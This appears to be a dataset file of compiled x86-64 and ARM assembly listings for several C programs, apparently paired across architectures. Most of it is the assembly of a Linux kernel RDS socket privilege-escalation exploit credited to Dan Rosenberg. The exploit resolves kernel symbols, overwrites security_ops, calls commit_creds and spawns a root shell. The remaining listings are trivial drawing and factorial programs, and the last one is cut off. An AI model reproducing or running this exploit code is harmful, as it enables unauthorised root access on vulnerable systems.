call fopen@PLT
mov QWORD PTR -944[rbp], rax
cmp QWORD PTR -944[rbp], 0
jne .L36
lea rsi, .LC4[rip]
lea rdi, .LC6[rip]
call fopen@PLT
mov QWORD PTR -944[rbp], rax
cmp QWORD PTR -944[rbp], 0
je .L37
mov DWORD PTR -956[rbp], 1
jmp .L16
.L36:
nop
.L16:
mov DWORD PTR -964[rbp], 0
jmp .L19
.L31:
cmp DWORD PTR -956[rbp], 0
jne .L20
lea rsi, -528[rbp]
lea rcx, -965[rbp]
lea rdx, -952[rbp]
mov rax, QWORD PTR -944[rbp]
mov r8, rsi
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call __isoc99_fscanf@PLT
mov DWORD PTR -964[rbp], eax
jmp .L21
.L20:
lea rcx, -528[rbp]
lea rdx, -952[rbp]
mov rax, QWORD PTR -944[rbp]
lea rsi, .LC8[rip]
mov rdi, rax
mov eax, 0
call __isoc99_fscanf@PLT
mov DWORD PTR -964[rbp], eax
cmp DWORD PTR -964[rbp], 2
jne .L21
lea rax, -528[rbp]
lea rsi, .LC9[rip]
mov rdi, rax
call strstr@PLT
test rax, rax
jne .L19
lea rax, -528[rbp]
lea rsi, .LC10[rip]
mov rdi, rax
call strstr@PLT
test rax, rax
je .L23
jmp .L19
.L23:
lea rax, -528[rbp]
mov esi, 95
mov rdi, rax
call strrchr@PLT
mov QWORD PTR -936[rbp], rax
lea rax, -528[rbp]
add rax, 5
cmp QWORD PTR -936[rbp], rax
jbe .L21
mov rax, QWORD PTR -936[rbp]
sub rax, 3
mov edx, 3
lea rsi, .LC11[rip]
mov rdi, rax
call strncmp@PLT
test eax, eax
jne .L21
sub QWORD PTR -936[rbp], 4
jmp .L24
.L26:
sub QWORD PTR -936[rbp], 1
.L24:
lea rax, -528[rbp]
cmp QWORD PTR -936[rbp], rax
jbe .L25
mov rax, QWORD PTR -936[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
cmp al, 95
je .L26
.L25:
mov rax, QWORD PTR -936[rbp]
mov BYTE PTR [rax], 0
.L21:
cmp DWORD PTR -964[rbp], 0
jne .L27
lea rdx, -528[rbp]
mov rax, QWORD PTR -944[rbp]
lea rsi, .LC12[rip]
mov rdi, rax
mov eax, 0
call __isoc99_fscanf@PLT
jmp .L19
.L27:
lea rdx, -528[rbp]
mov rax, QWORD PTR -984[rbp]
mov rsi, rdx
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L19
cmp DWORD PTR -960[rbp], 0
je .L28
lea rax, .LC13[rip]
jmp .L29
.L28:
lea rax, .LC14[rip]
.L29:
mov rdx, QWORD PTR -952[rbp]
mov rcx, rdx
mov rdi, QWORD PTR stdout[rip]
mov rdx, QWORD PTR -984[rbp]
mov r8, rax
lea rsi, .LC15[rip]
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR -944[rbp]
mov rdi, rax
call fclose@PLT
mov rax, QWORD PTR -952[rbp]
jmp .L34
.L19:
cmp DWORD PTR -964[rbp], -1
jne .L31
mov rax, QWORD PTR -944[rbp]
mov rdi, rax
call fclose@PLT
cmp DWORD PTR -960[rbp], 0
je .L38
mov eax, 0
jmp .L34
.L37:
nop
jmp .L18
.L38:
nop
.L18:
lea rax, -928[rbp]
mov rdi, rax
call uname@PLT
lea rax, -928[rbp]
add rax, 130
mov edx, 3
lea rsi, .LC16[rip]
mov rdi, rax
call strncmp@PLT
test eax, eax
je .L32
mov DWORD PTR -956[rbp], 1
.L32:
lea rax, -928[rbp]
lea rdx, 130[rax]
lea rax, -528[rbp]
lea rsi, .LC17[rip]
mov rdi, rax
mov eax, 0
call sprintf@PLT
lea rax, -528[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
call fopen@PLT
mov QWORD PTR -944[rbp], rax
cmp QWORD PTR -944[rbp], 0
jne .L33
mov eax, 0
jmp .L34
.L33:
mov DWORD PTR -960[rbp], 1
jmp .L16
.L34:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L35
call __stack_chk_fail@PLT
.L35:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size get_kernel_sym, .-get_kernel_sym
.section .rodata
.align 8
.LC18:
.string "[*] Linux kernel >= 2.6.30 RDS socket exploit"
.LC19:
.string "[*] by Dan Rosenberg"
.LC20:
.string "2.6.3"
.align 8
.LC21:
.string "[*] Your kernel is not vulnerable."
.align 8
.LC22:
.string "[*] Resolving kernel addresses..."
.LC23:
.string "security_ops"
.LC24:
.string "default_security_ops"
.LC25:
.string "cap_ptrace_traceme"
.LC26:
.string "commit_creds"
.LC27:
.string "prepare_kernel_cred"
.align 8
.LC28:
.string "[*] Failed to resolve kernel symbols."
.align 8
.LC29:
.string "[*] Overwriting security ops..."
.align 8
.LC30:
.string "[*] Overwriting function pointer..."
.LC31:
.string "[*] Triggering payload..."
.align 8
.LC32:
.string "[*] Restoring function pointer..."
.align 8
.LC33:
.string "[*] Exploit failed to get root."
.LC34:
.string "[*] Got root!"
.LC35:
.string "sh"
.LC36:
.string "/bin/sh"
.text
.globl main
.type main, @function
main:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 464
mov DWORD PTR -452[rbp], edi
mov QWORD PTR -464[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC18[rip]
call puts@PLT
lea rdi, .LC19[rip]
call puts@PLT
lea rax, -400[rbp]
mov rdi, rax
call uname@PLT
lea rax, -400[rbp]
add rax, 130
mov edx, 5
lea rsi, .LC20[rip]
mov rdi, rax
call strncmp@PLT
test eax, eax
je .L40
lea rdi, .LC21[rip]
call puts@PLT
mov eax, -1
jmp .L45
.L40:
lea rdi, .LC22[rip]
call puts@PLT
lea rdi, .LC23[rip]
call get_kernel_sym
mov QWORD PTR -432[rbp], rax
lea rdi, .LC24[rip]
call get_kernel_sym
mov QWORD PTR -424[rbp], rax
lea rdi, .LC25[rip]
call get_kernel_sym
mov QWORD PTR -416[rbp], rax
lea rdi, .LC26[rip]
call get_kernel_sym
mov QWORD PTR commit_creds[rip], rax
lea rdi, .LC27[rip]
call get_kernel_sym
mov QWORD PTR prepare_kernel_cred[rip], rax
cmp QWORD PTR -432[rbp], 0
je .L42
cmp QWORD PTR -424[rbp], 0
je .L42
cmp QWORD PTR -416[rbp], 0
je .L42
mov rax, QWORD PTR commit_creds[rip]
test rax, rax
je .L42
mov rax, QWORD PTR prepare_kernel_cred[rip]
test rax, rax
jne .L43
.L42:
lea rdi, .LC28[rip]
call puts@PLT
mov eax, -1
jmp .L45
.L43:
mov rax, QWORD PTR -424[rbp]
add rax, 24
mov QWORD PTR -408[rbp], rax
mov edi, 6666
call prep_sock
mov DWORD PTR -440[rbp], eax
mov edi, 5555
call prep_sock
mov DWORD PTR -436[rbp], eax
lea rdi, .LC29[rip]
call puts@PLT
mov ecx, DWORD PTR -436[rbp]
mov edx, DWORD PTR -440[rbp]
mov rsi, QWORD PTR -424[rbp]
mov rax, QWORD PTR -432[rbp]
mov rdi, rax
call write_to_mem
lea rdi, .LC30[rip]
call puts@PLT
lea rsi, getroot[rip]
mov ecx, DWORD PTR -436[rbp]
mov edx, DWORD PTR -440[rbp]
mov rax, QWORD PTR -408[rbp]
mov rdi, rax
call write_to_mem
lea rdi, .LC31[rip]
call puts@PLT
mov ecx, 0
mov edx, 0
mov esi, 1
mov edi, 0
mov eax, 0
call ptrace@PLT
lea rdi, .LC32[rip]
call puts@PLT
mov ecx, DWORD PTR -436[rbp]
mov edx, DWORD PTR -440[rbp]
mov rsi, QWORD PTR -416[rbp]
mov rax, QWORD PTR -408[rbp]
mov rdi, rax
call write_to_mem
call getuid@PLT
test eax, eax
je .L44
lea rdi, .LC33[rip]
call puts@PLT
mov eax, -1
jmp .L45
.L44:
lea rdi, .LC34[rip]
call puts@PLT
mov edx, 0
lea rsi, .LC35[rip]
lea rdi, .LC36[rip]
mov eax, 0
call execl@PLT
mov eax, 0
.L45:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L46
call __stack_chk_fail@PLT
.L46:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "21672.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "[*] Could not open socket.\000"
.align 2
.LC1:
.ascii "127.0.0.1\000"
.align 2
.LC2:
.ascii "[*] Could not bind socket.\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global prep_sock
.syntax unified
.arm
.fpu softvfp
.type prep_sock, %function
prep_sock:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
ldr r3, .L6
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r2, #0
mov r1, #5
mov r0, #21
bl socket
str r0, [fp, #-32]
ldr r3, [fp, #-32]
cmp r3, #0
bge .L2
ldr r0, .L6+4
bl puts
mvn r0, #0
bl exit
.L2:
sub r3, fp, #24
mov r2, #16
mov r1, #0
mov r0, r3
bl memset
ldr r0, .L6+8
bl inet_addr
mov r3, r0
str r3, [fp, #-20]
mov r3, #2
strh r3, [fp, #-24] @ movhi
ldr r3, [fp, #-40]
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
strh r3, [fp, #-22] @ movhi
sub r3, fp, #24
mov r2, #16
mov r1, r3
ldr r0, [fp, #-32]
bl bind
str r0, [fp, #-28]
ldr r3, [fp, #-28]
cmp r3, #0
bge .L3
ldr r0, .L6+12
bl puts
mvn r0, #0
bl exit
.L3:
ldr r3, [fp, #-32]
ldr r2, .L6
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L5
bl __stack_chk_fail
.L5:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size prep_sock, .-prep_sock
.align 2
.global get_message
.syntax unified
.arm
.fpu softvfp
.type get_message, %function
get_message:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r1, [fp, #-8]
mov r3, #0
str r3, [sp, #4]
mov r3, #0
str r3, [sp]
mov r3, #0
mov r2, #4
ldr r0, [fp, #-12]
bl recvfrom
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size get_message, .-get_message
.section .rodata
.align 2
.LC4:
.ascii "[*] Something went wrong sending.\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global send_message
.syntax unified
.arm
.fpu softvfp
.type send_message, %function
send_message:
@ args = 0, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #80
str r0, [fp, #-80]
str r1, [fp, #-84]
ldr r3, .L13
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #24
mov r2, #16
mov r1, #0
mov r0, r3
bl memset
mov r3, #16
str r3, [fp, #-68]
ldr r0, .L13+4
bl htons
mov r3, r0
strh r3, [fp, #-22] @ movhi
mov r3, #2
strh r3, [fp, #-24] @ movhi
ldr r0, .L13+8
bl inet_addr
mov r3, r0
str r3, [fp, #-20]
sub r3, fp, #52
mov r2, #28
mov r1, #0
mov r0, r3
bl memset
sub r3, fp, #24
str r3, [fp, #-52]
mov r3, #16
str r3, [fp, #-48]
mov r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-80]
str r3, [fp, #-72]
mov r3, #4
str r3, [fp, #-56]
sub r3, fp, #72
str r3, [fp, #-60]
sub r3, fp, #60
str r3, [fp, #-44]
sub r3, fp, #52
mov r2, #0
mov r1, r3
ldr r0, [fp, #-84]
bl sendmsg
str r0, [fp, #-64]
ldr r3, [fp, #-64]
cmp r3, #0
bge .L12
ldr r0, .L13+12
bl puts
mvn r0, #0
bl exit
.L12:
nop
ldr r3, .L13
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L11
bl __stack_chk_fail
.L11:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L14:
.align 2
.L13:
.word .LC5
.word 5555
.word .LC1
.word .LC4
.size send_message, .-send_message
.align 2
.global write_to_mem
.syntax unified
.arm
.fpu softvfp
.type write_to_mem, %function
write_to_mem:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
str r3, [fp, #-20]
bl fork
mov r3, r0
cmp r3, #0
bne .L16
mov r0, #1
bl sleep
ldr r1, [fp, #-16]
ldr r0, [fp, #-12]
bl send_message
mov r0, #1
bl exit
.L16:
ldr r1, [fp, #-20]
ldr r0, [fp, #-8]
bl get_message
mov r0, #0
bl wait
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size write_to_mem, .-write_to_mem
.comm commit_creds,4,4
.comm prepare_kernel_cred,4,4
.align 2
.global getroot
.syntax unified
.arm
.fpu softvfp
.type getroot, %function
getroot:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, .L19
ldr r4, [r3]
ldr r3, .L19+4
ldr r3, [r3]
mov r0, #0
blx r3
mov r3, r0
mov r0, r3
blx r4
mvn r3, #0
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L20:
.align 2
.L19:
.word commit_creds
.word prepare_kernel_cred
.size getroot, .-getroot
.section .rodata
.align 2
.LC6:
.ascii "r\000"
.align 2
.LC7:
.ascii "/proc/kallsyms\000"
.align 2
.LC8:
.ascii "/proc/ksyms\000"
.align 2
.LC9:
.ascii "%p %c %s\012\000"
.align 2
.LC10:
.ascii "%p %s\012\000"
.align 2
.LC11:
.ascii "_O/\000"
.align 2
.LC12:
.ascii "_S.\000"
.align 2
.LC13:
.ascii "smp\000"
.align 2
.LC14:
.ascii "%s\012\000"
.align 2
.LC15:
.ascii " (via System.map)\000"
.align 2
.LC16:
.ascii "\000"
.align 2
.LC17:
.ascii " [+] Resolved %s to %p%s\012\000"
.align 2
.LC18:
.ascii "2.6\000"
.align 2
.LC19:
.ascii "/boot/System.map-%s\000"
.align 2
.LC20:
.word __stack_chk_guard
.text
.align 2
.global get_kernel_sym
.syntax unified
.arm
.fpu softvfp
.type get_kernel_sym, %function
get_kernel_sym:
@ args = 0, pretend = 0, frame = 944
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #952
str r0, [fp, #-944]
ldr r3, .L45
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-924]
mov r3, #0
str r3, [fp, #-920]
ldr r1, .L45+4
ldr r0, .L45+8
bl fopen
str r0, [fp, #-932]
ldr r3, [fp, #-932]
cmp r3, #0
bne .L42
ldr r1, .L45+4
ldr r0, .L45+12
bl fopen
str r0, [fp, #-932]
ldr r3, [fp, #-932]
cmp r3, #0
beq .L43
mov r3, #1
str r3, [fp, #-920]
b .L22
.L42:
nop
.L22:
mov r3, #0
str r3, [fp, #-928]
b .L25
.L37:
ldr r3, [fp, #-920]
cmp r3, #0
bne .L26
sub r3, fp, #936
sub r3, r3, #1
sub r1, fp, #936
sub r2, fp, #520
str r2, [sp]
mov r2, r1
ldr r1, .L45+16
ldr r0, [fp, #-932]
bl __isoc99_fscanf
str r0, [fp, #-928]
b .L27
.L26:
sub r3, fp, #520
sub r2, fp, #936
ldr r1, .L45+20
ldr r0, [fp, #-932]
bl __isoc99_fscanf
str r0, [fp, #-928]
ldr r3, [fp, #-928]
cmp r3, #2
bne .L27
sub r3, fp, #520
ldr r1, .L45+24
mov r0, r3
bl strstr
mov r3, r0
cmp r3, #0
bne .L25
sub r3, fp, #520
ldr r1, .L45+28
mov r0, r3
bl strstr
mov r3, r0
cmp r3, #0
beq .L29
b .L25
.L29:
sub r3, fp, #520
mov r1, #95
mov r0, r3
bl strrchr
str r0, [fp, #-916]
sub r3, fp, #520
add r3, r3, #5
ldr r2, [fp, #-916]
cmp r2, r3
bls .L27
ldr r3, [fp, #-916]
sub r3, r3, #3
mov r2, #3
ldr r1, .L45+32
mov r0, r3
bl strncmp
mov r3, r0
cmp r3, #0
bne .L27
ldr r3, [fp, #-916]
sub r3, r3, #4
str r3, [fp, #-916]
b .L30
.L32:
ldr r3, [fp, #-916]
sub r3, r3, #1
str r3, [fp, #-916]
.L30:
sub r3, fp, #520
ldr r2, [fp, #-916]
cmp r2, r3
bls .L31
ldr r3, [fp, #-916]
sub r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #95
beq .L32
.L31:
ldr r3, [fp, #-916]
mov r2, #0
strb r2, [r3]
.L27:
ldr r3, [fp, #-928]
cmp r3, #0
bne .L33
sub r3, fp, #520
mov r2, r3
ldr r1, .L45+36
ldr r0, [fp, #-932]
bl __isoc99_fscanf
b .L25
.L33:
sub r3, fp, #520
mov r1, r3
ldr r0, [fp, #-944]
bl strcmp
mov r3, r0
cmp r3, #0
bne .L25
ldr r3, .L45+40
ldr r0, [r3]
ldr r3, [fp, #-936]
mov r2, r3
ldr r3, [fp, #-924]
cmp r3, #0
beq .L34
ldr r3, .L45+44
b .L35
.L34:
ldr r3, .L45+48
.L35:
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-944]
ldr r1, .L45+52
bl fprintf
ldr r0, [fp, #-932]
bl fclose
ldr r3, [fp, #-936]
b .L40
.L25:
ldr r3, [fp, #-928]
cmn r3, #1
bne .L37
ldr r0, [fp, #-932]
bl fclose
ldr r3, [fp, #-924]
cmp r3, #0
beq .L44
mov r3, #0
b .L40
.L43:
nop
b .L24
.L44:
nop
.L24:
sub r3, fp, #912
mov r0, r3
bl uname
sub r3, fp, #912
add r3, r3, #130
mov r2, #3
ldr r1, .L45+56
mov r0, r3
bl strncmp
mov r3, r0
cmp r3, #0
beq .L38
mov r3, #1
str r3, [fp, #-920]
.L38:
sub r3, fp, #912
add r2, r3, #130
sub r3, fp, #520
ldr r1, .L45+60
mov r0, r3
bl sprintf
sub r3, fp, #520
ldr r1, .L45+4
mov r0, r3
bl fopen
str r0, [fp, #-932]
ldr r3, [fp, #-932]
cmp r3, #0
bne .L39
mov r3, #0
b .L40
.L39:
mov r3, #1
str r3, [fp, #-924]
b .L22
.L40:
ldr r2, .L45
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L41
bl __stack_chk_fail
.L41:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L46:
.align 2
.L45:
.word .LC20
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.word stdout
.word .LC15
.word .LC16
.word .LC17
.word .LC18
.word .LC19
.size get_kernel_sym, .-get_kernel_sym
.section .rodata
.align 2
.LC21:
.ascii "[*] Linux kernel >= 2.6.30 RDS socket exploit\000"
.align 2
.LC22:
.ascii "[*] by Dan Rosenberg\000"
.align 2
.LC23:
.ascii "2.6.3\000"
.align 2
.LC24:
.ascii "[*] Your kernel is not vulnerable.\000"
.align 2
.LC25:
.ascii "[*] Resolving kernel addresses...\000"
.align 2
.LC26:
.ascii "security_ops\000"
.align 2
.LC27:
.ascii "default_security_ops\000"
.align 2
.LC28:
.ascii "cap_ptrace_traceme\000"
.align 2
.LC29:
.ascii "commit_creds\000"
.align 2
.LC30:
.ascii "prepare_kernel_cred\000"
.align 2
.LC31:
.ascii "[*] Failed to resolve kernel symbols.\000"
.align 2
.LC32:
.ascii "[*] Overwriting security ops...\000"
.align 2
.LC33:
.ascii "[*] Overwriting function pointer...\000"
.align 2
.LC34:
.ascii "[*] Triggering payload...\000"
.align 2
.LC35:
.ascii "[*] Restoring function pointer...\000"
.align 2
.LC36:
.ascii "[*] Exploit failed to get root.\000"
.align 2
.LC37:
.ascii "[*] Got root!\000"
.align 2
.LC38:
.ascii "sh\000"
.align 2
.LC39:
.ascii "/bin/sh\000"
.align 2
.LC40:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 432
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #432
str r0, [fp, #-432]
str r1, [fp, #-436]
ldr r3, .L55
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L55+4
bl puts
ldr r0, .L55+8
bl puts
sub r3, fp, #400
mov r0, r3
bl uname
sub r3, fp, #400
add r3, r3, #130
mov r2, #5
ldr r1, .L55+12
mov r0, r3
bl strncmp
mov r3, r0
cmp r3, #0
beq .L48
ldr r0, .L55+16
bl puts
mvn r3, #0
b .L53
.L48:
ldr r0, .L55+20
bl puts
ldr r0, .L55+24
bl get_kernel_sym
str r0, [fp, #-424]
ldr r0, .L55+28
bl get_kernel_sym
str r0, [fp, #-420]
ldr r0, .L55+32
bl get_kernel_sym
str r0, [fp, #-416]
ldr r0, .L55+36
bl get_kernel_sym
mov r3, r0
mov r2, r3
ldr r3, .L55+40
str r2, [r3]
ldr r0, .L55+44
bl get_kernel_sym
mov r3, r0
mov r2, r3
ldr r3, .L55+48
str r2, [r3]
ldr r3, [fp, #-424]
cmp r3, #0
beq .L50
ldr r3, [fp, #-420]
cmp r3, #0
beq .L50
ldr r3, [fp, #-416]
cmp r3, #0
beq .L50
ldr r3, .L55+40
ldr r3, [r3]
cmp r3, #0
beq .L50
ldr r3, .L55+48
ldr r3, [r3]
cmp r3, #0
bne .L51
.L50:
ldr r0, .L55+52
bl puts
mvn r3, #0
b .L53
.L51:
ldr r3, [fp, #-420]
add r3, r3, #16
str r3, [fp, #-412]
ldr r0, .L55+56
bl prep_sock
str r0, [fp, #-408]
ldr r0, .L55+60
bl prep_sock
str r0, [fp, #-404]
ldr r0, .L55+64
bl puts
ldr r3, [fp, #-404]
ldr r2, [fp, #-408]
ldr r1, [fp, #-420]
ldr r0, [fp, #-424]
bl write_to_mem
ldr r0, .L55+68
bl puts
ldr r1, .L55+72
ldr r3, [fp, #-404]
ldr r2, [fp, #-408]
ldr r0, [fp, #-412]
bl write_to_mem
ldr r0, .L55+76
bl puts
mov r3, #0
mov r2, #0
mov r1, #1
mov r0, #0
bl ptrace
ldr r0, .L55+80
bl puts
ldr r3, [fp, #-404]
ldr r2, [fp, #-408]
ldr r1, [fp, #-416]
ldr r0, [fp, #-412]
bl write_to_mem
bl getuid
mov r3, r0
cmp r3, #0
beq .L52
ldr r0, .L55+84
bl puts
mvn r3, #0
b .L53
.L52:
ldr r0, .L55+88
bl puts
mov r2, #0
ldr r1, .L55+92
ldr r0, .L55+96
bl execl
mov r3, #0
.L53:
ldr r2, .L55
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L54
bl __stack_chk_fail
.L54:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L56:
.align 2
.L55:
.word .LC40
.word .LC21
.word .LC22
.word .LC23
.word .LC24
.word .LC25
.word .LC26
.word .LC27
.word .LC28
.word .LC29
.word commit_creds
.word .LC30
.word prepare_kernel_cred
.word .LC31
.word 6666
.word 5555
.word .LC32
.word .LC33
.word getroot
.word .LC34
.word .LC35
.word .LC36
.word .LC37
.word .LC38
.word .LC39
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "478131.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov edx, 0
mov esi, 0
mov edi, 255
mov eax, 0
call setColor@PLT
mov DWORD PTR -8[rbp], 100
mov DWORD PTR -4[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -8[rbp]
mov ecx, 50
mov edx, 10
mov esi, 30
mov edi, eax
mov eax, 0
call fillRect@PLT
add DWORD PTR -8[rbp], 20
add DWORD PTR -4[rbp], 1
.L2:
cmp DWORD PTR -4[rbp], 9
jle .L3
mov eax, 0
call wait@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "478131.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r2, #0
mov r1, #0
mov r0, #255
bl setColor
mov r3, #100
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
b .L2
.L3:
mov r3, #50
mov r2, #10
mov r1, #30
ldr r0, [fp, #-12]
bl fillRect
ldr r3, [fp, #-12]
add r3, r3, #20
str r3, [fp, #-12]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L2:
ldr r3, [fp, #-8]
cmp r3, #9
ble .L3
bl wait
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "763346.c"
.intel_syntax noprefix
.text
.globl fact
.type fact, @function
fact:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov DWORD PTR -8[rbp], 1
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR -4[rbp], eax
jmp .L2
.L3:
mov eax, DWORD PTR -8[rbp]
imul eax, DWORD PTR -4[rbp]
mov DWORD PTR -8[rbp], eax
sub DWORD PTR -4[rbp], 1
sub DWORD PTR -24[rbp], 1
.L2:
cmp DWORD PTR -24[rbp], 0
jg .L3
mov eax, DWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size fact, .-fact
.globl fact_1
.type fact_1, @function
fact_1:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -8[rbp], 1
mov DWORD PTR -4[rbp], 2
jmp .L6
.L7:
mov eax, DWORD PTR -8[rbp]
imul eax, DWORD PTR -4[rbp]
mov DWORD PTR -8[rbp], eax
add DWORD PTR -4[rbp], 1
.L6:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -20[rbp]
jle .L7
mov eax, DWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size fact_1, .-fact_1
.section .rodata
.LC0:
.string "%d%d"
.LC1:
.string "%d"
.text
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 24
.cfi_offset 3, -24
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
lea rdx, -28[rbp]
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
mov esi, edx
mov edi, eax
call fact
mov ebx, eax
mov eax, DWORD PTR -28[rbp]
mov edi, eax
call fact_1
mov ecx, eax
mov eax, ebx
cdq
idiv ecx
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -24[rbp]
sub rcx, QWORD PTR fs:40
je .L11
call __stack_chk_fail@PLT
.L11:
mov rbx, QWORD PTR -8[rbp]
leave
